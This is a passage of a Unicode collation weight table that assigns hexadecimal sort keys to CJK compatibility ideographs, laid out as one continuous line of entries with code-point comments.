[.3A5E.0024.0002.5180][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA75 +2F815 ; [.3A6A.0021.0002.518D][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F815 +2F8D2 ; [.3A64.0022.0002.5192][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D2 +2F8D3 ; [.3A64.0022.0002.5195][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D3 +2F817 ; [.3A69.0023.0002.5197][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F817 +2F818 ; [.3A69.003B.0002.51A4][.3AEA.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F818 +2F81A ; [.3A61.0022.0002.51AC][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81A +F92E ; [.3A63.0021.0002.51B7][.3ADD.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92E +F979 ; [.3A63.0024.0002.51C9][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F979 +F955 ; [.3A63.0021.0002.51CC][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F955 +F954 ; [.3A63.0021.0002.51DC][.3AEE.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F954 +FA15 ; [.3A70.0022.0002.51DE][.3AEF.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA15 +2F81E ; [.3A69.0023.0002.5203][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81E +FA00 ; [.3A6A.0021.0002.5207][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA00 +2F850 ; [.3A6A.0021.0002.5207][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F850 +F99C ; [.3A63.0022.0002.5217][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99C +F9DD ; [.3A63.0022.0002.5229][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DD +F9FF ; [.3A6A.0022.0002.523A][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FF +2F820 ; [.3A5E.0021.0002.523B][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F820 +2F822 ; [.3A70.0021.0002.5272][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F822 +2F823 ; [.3A67.002D.0002.5277][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F823 +F9C7 ; [.3A63.0021.0002.5289][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C7 +F98A ; [.3A63.0021.0002.529B][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98A +F99D ; [.3A63.0023.0002.52A3][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99D +FA76 ; [.3A69.0024.0002.52C7][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA76 +2F825 ; [.3A69.0024.0002.52C7][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F825 +FA33 ; [.3A64.0023.0002.52C9][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA33 +2F826 ; [.3A64.0023.0002.52C9][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F826 +F952 ; [.3A63.0021.0002.52D2][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F952 +F92F ; [.3A63.0021.0002.52DE][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92F +FA34 ; [.3A5E.0023.0002.52E4][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA34 +2F827 ; [.3A5E.0023.0002.52E4][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F827 +F97F ; [.3A63.0023.0002.52F5][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97F +FA77 ; [.3A6A.0022.0002.52FA][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA77 +2F828 ; [.3A6A.0022.0002.52FA][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F828 +2F829 ; [.3A6F.0022.0002.5305][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F829 +F963 ; [.3A65.0021.0002.5317][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F963 +2F82B ; [.3A65.0021.0002.5317][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82B +F9EB ; [.3A60.0021.0002.533F][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EB +2F82C ; [.3A70.0021.0002.5349][.3AEB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82C +FA35 ; [.3A65.0025.0002.5351][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA35 +2F82D ; [.3A65.0025.0002.5351][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82D +2F82E ; [.3A65.0022.0002.535A][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82E +2F82F ; [.3A6A.0022.0002.5373][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82F +F91C ; [.3A63.0022.0002.5375][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91C +2F830 ; [.3A6A.0021.0002.537D][.3AEE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F830 +2F831 ; [.3A5E.0028.0002.537F][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F831 +2F832 ; [.3A5E.0028.0002.537F][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F832 +2F833 ; [.3A5E.0028.0002.537F][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F833 +F96B ; [.3A6C.0022.0002.53C3][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96B +2F836 ; [.3A5E.0022.0002.53CA][.3AEE.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F836 +2F837 ; [.3A67.005E.0002.53DF][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F837 +F906 ; [.3A5E.002A.0002.53E5][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F906 +2F839 ; [.3A5E.0021.0002.53EB][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F839 +2F83A ; [.3A6A.0022.0002.53F1][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83A +F9DE ; [.3A63.0024.0002.540F][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DE +F9ED ; [.3A63.0021.0002.541D][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9ED +2F83D ; [.3A70.0021.0002.5438][.3AEE.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83D +F980 ; [.3A63.0024.0002.5442][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F980 +2F83E ; [.3A6A.0026.0002.5448][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83E +2F83F ; [.3A6A.0028.0002.5468][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83F +2F840 ; [.3A69.0031.0002.54A2][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F840 +F99E ; [.3A69.0025.0002.54BD][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99E +2F842 ; [.3A61.0021.0002.5510][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F842 +2F843 ; [.3A5E.0022.0002.5553][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F843 +2F844 ; [.3A70.0024.0002.5563][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F844 +2F845 ; [.3A67.0024.0002.5584][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F845 +2F846 ; [.3A67.0024.0002.5584][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F846 +F90B ; [.3A63.0021.0002.5587][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90B +FA7A ; [.3A70.0022.0002.5599][.3AEB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7A +2F847 ; [.3A70.0022.0002.5599][.3AEB.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F847 +FA36 ; [.3A5E.0022.0002.559D][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA36 +FA78 ; [.3A5E.0022.0002.559D][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA78 +2F848 ; [.3A5F.0021.0002.55AB][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F848 +FA7B ; [.3A69.0022.0002.55E2][.3AE4.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7B +FA37 ; [.3A6E.0022.0002.5606][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA37 +2F84C ; [.3A6E.0022.0002.5606][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84C +FA38 ; [.3A5E.0026.0002.5668][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA38 +2F84F ; [.3A65.0023.0002.5674][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84F +F9A9 ; [.3A63.0023.0002.56F9][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A9 +2F84B ; [.3A61.0024.0002.5716][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84B +2F855 ; [.3A70.0024.0002.578B][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F855 +2F852 ; [.3A67.0021.0002.57CE][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F852 +2F853 ; [.3A67.0021.0002.57F4][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F853 +2F857 ; [.3A65.0023.0002.5831][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F857 +FA39 ; [.3A65.0033.0002.5840][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA39 +FA10 ; [.3A6C.0022.0002.585A][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA10 +FA7C ; [.3A6C.0022.0002.585A][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7C +F96C ; [.3A67.0021.0002.585E][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96C +FA3A ; [.3A64.0021.0002.58A8][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3A +FA7D ; [.3A65.0024.0002.58B3][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7D +F94A ; [.3A63.0021.0002.58D8][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94A +F942 ; [.3A63.0021.0002.58DF][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F942 +2F85C ; [.3A65.0032.0002.5906][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85C +2F85D ; [.3A61.0021.0002.591A][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85D +2F85E ; [.3A64.0021.0002.5922][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85E +FA7E ; [.3A69.0024.0002.5944][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7E +F90C ; [.3A60.0023.0002.5948][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90C +F909 ; [.3A5E.0024.0002.5951][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F909 +FA7F ; [.3A65.0025.0002.5954][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7F +2F85F ; [.3A67.0030.0002.5962][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85F +F981 ; [.3A60.0021.0002.5973][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F981 +2F862 ; [.3A70.0026.0002.59EC][.3AEF.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F862 +2F863 ; [.3A69.002C.0002.5A1B][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F863 +2F864 ; [.3A6E.0030.0002.5A27][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F864 +FA80 ; [.3A65.0027.0002.5A62][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA80 +2F866 ; [.3A65.002B.0002.5A66][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F866 +2F986 ; [.3A69.0025.0002.5AB5][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F986 +2F869 ; [.3A69.0041.0002.5B08][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F869 +FA81 ; [.3A6A.003C.0002.5B28][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA81 +2F86A ; [.3A63.0029.0002.5B3E][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86A +2F86B ; [.3A63.0029.0002.5B3E][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86B +FA04 ; [.3A61.0021.0002.5B85][.3ADD.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA04 +2F86D ; [.3A69.0029.0002.5BC3][.3AEA.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86D +2F86E ; [.3A6C.003B.0002.5BD8][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86E +F95F ; [.3A60.0021.0002.5BE7][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95F +F9AA ; [.3A60.0021.0002.5BE7][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AA +2F86F ; [.3A60.0021.0002.5BE7][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86F +F9BC ; [.3A63.0023.0002.5BEE][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BC +F9BD ; [.3A60.0021.0002.5C3F][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BD +2F877 ; [.3A61.0028.0002.5C60][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F877 +F94B ; [.3A63.0023.0002.5C62][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94B +FA3B ; [.3A6C.0021.0002.5C64][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3B +F9DF ; [.3A63.0026.0002.5C65][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DF +2F879 ; [.3A67.002A.0002.5CC0][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F879 +F9D5 ; [.3A63.0023.0002.5D19][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D5 +F921 ; [.3A63.0021.0002.5D50][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F921 +F9AB ; [.3A63.0025.0002.5DBA][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AB +2F881 ; [.3A67.0021.0002.5DE1][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F881 +2F882 ; [.3A67.0027.0002.5DE2][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F882 +2F884 ; [.3A67.0022.0002.5DFD][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F884 +2F885 ; [.3A67.0029.0002.5E28][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F885 +2F886 ; [.3A64.0025.0002.5E3D][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F886 +F98E ; [.3A60.0021.0002.5E74][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98E +FA01 ; [.3A61.002B.0002.5EA6][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA01 +2F88C ; [.3A65.0052.0002.5EB3][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88C +2F88D ; [.3A67.0025.0002.5EB6][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88D +F9A2 ; [.3A63.0021.0002.5EC9][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A2 +F928 ; [.3A63.0021.0002.5ECA][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F928 +2F88E ; [.3A63.0021.0002.5ECA][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88E +FA0B ; [.3A5E.0021.0002.5ED3][.3AE5.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0B +F982 ; [.3A63.0025.0002.5EEC][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F982 +F943 ; [.3A63.0022.0002.5F04][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F943 +2F894 ; [.3A61.004B.0002.5F22][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F894 +2F895 ; [.3A61.004B.0002.5F22][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F895 +2F899 ; [.3A70.0025.0002.5F62][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F899 +FA84 ; [.3A6C.0025.0002.5F69][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA84 +2F89A ; [.3A6A.0027.0002.5F6B][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89A +F9D8 ; [.3A63.0021.0002.5F8B][.3AED.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D8 +F966 ; [.3A65.0026.0002.5FA9][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F966 +FA85 ; [.3A69.0043.0002.5FAD][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA85 +2F89D ; [.3A69.002A.0002.5FCD][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89D +2F89E ; [.3A6A.0026.0002.5FD7][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89E +F9A3 ; [.3A60.0021.0002.5FF5][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A3 +F960 ; [.3A60.0024.0002.6012][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F960 +F9AC ; [.3A63.0026.0002.601C][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AC +2F8A0 ; [.3A69.0042.0002.6081][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A0 +FA3D ; [.3A70.0026.0002.6094][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3D +2F8A3 ; [.3A70.0026.0002.6094][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A3 +2F8A5 ; [.3A61.0022.0002.60C7][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A5 +FA86 ; [.3A64.002D.0002.60D8][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA86 +F9B9 ; [.3A69.0025.0002.60E1][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B9 +FA88 ; [.3A69.002E.0002.6108][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA88 +F9D9 ; [.3A63.0022.0002.6144][.3AED.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D9 +2F8A6 ; [.3A6A.002A.0002.6148][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A6 +2F8A7 ; [.3A70.0027.0002.614C][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A7 +2F8A9 ; [.3A70.0027.0002.614C][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A9 +FA8A ; [.3A69.0047.0002.6160][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8A +FA3E ; [.3A5E.0028.0002.6168][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3E +2F8AA ; [.3A63.0031.0002.617A][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AA +FA3F ; [.3A6A.0022.0002.618E][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3F +FA89 ; [.3A6A.0022.0002.618E][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA89 +2F8AB ; [.3A6A.0022.0002.618E][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AB +F98F ; [.3A63.0021.0002.6190][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98F +2F8AD ; [.3A65.0028.0002.61A4][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AD +2F8AE ; [.3A6C.0030.0002.61AF][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AE +2F8AC ; [.3A70.0021.0002.61B2][.3AE0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AC +2F8AF ; [.3A64.0025.0002.61DE][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AF +FA40 ; [.3A6A.0022.0002.61F2][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA40 +FA8B ; [.3A6A.0022.0002.61F2][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8B +2F8B0 ; [.3A6A.0022.0002.61F2][.3AF0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B0 +F90D ; [.3A63.0022.0002.61F6][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90D +2F8B1 ; [.3A63.0022.0002.61F6][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B1 +F990 ; [.3A63.0022.0002.6200][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F990 +2F8B2 ; [.3A67.0026.0002.6210][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B2 +F9D2 ; [.3A63.0022.0002.622E][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D2 +FA8C ; [.3A61.0029.0002.6234][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8C +2F8B5 ; [.3A6F.002B.0002.62B1][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B5 +F925 ; [.3A63.0021.0002.62C9][.3ADC.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F925 +F95B ; [.3A60.0024.0002.62CF][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95B +FA02 ; [.3A6C.0026.0002.62D3][.3AE0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA02 +2F8B6 ; [.3A65.0022.0002.62D4][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B6 +F973 ; [.3A67.0022.0002.62FE][.3AEE.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F973 +2F8B9 ; [.3A64.0027.0002.633D][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B9 +2F8B7 ; [.3A69.0027.0002.6350][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B7 +2F8BB ; [.3A67.0039.0002.6368][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BB +F9A4 ; [.3A60.0024.0002.637B][.3AE2.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A4 +2F8BC ; [.3A67.0029.0002.6383][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BC +F975 ; [.3A63.0021.0002.63A0][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F975 +2F8C1 ; [.3A69.0025.0002.63A9][.3AE0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C1 +FA8D ; [.3A69.0030.0002.63C4][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8D +FA8E ; [.3A67.0030.0002.641C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8E +2F8BF ; [.3A6A.0025.0002.6422][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BF +2F8C3 ; [.3A64.0021.0002.6469][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C3 +F991 ; [.3A60.0022.0002.649A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F991 +2F8C5 ; [.3A70.0029.0002.649D][.3AEC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C5 +F930 ; [.3A63.0023.0002.64C4][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F930 +FA41 ; [.3A64.0025.0002.654F][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA41 +2F8C8 ; [.3A64.0025.0002.654F][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C8 +FA90 ; [.3A69.0030.0002.6556][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA90 +2F8C9 ; [.3A5E.0030.0002.656C][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C9 +F969 ; [.3A67.0032.0002.6578][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F969 +F9BE ; [.3A63.0025.0002.6599][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BE +F983 ; [.3A63.0028.0002.65C5][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F983 +2F8CB ; [.3A5E.0035.0002.65E3][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CB +F9E0 ; [.3A69.0024.0002.6613][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E0 +2F8CD ; [.3A6A.0026.0002.6649][.3AF0.0020.0002][.3B3D.0020.0002] # CJK 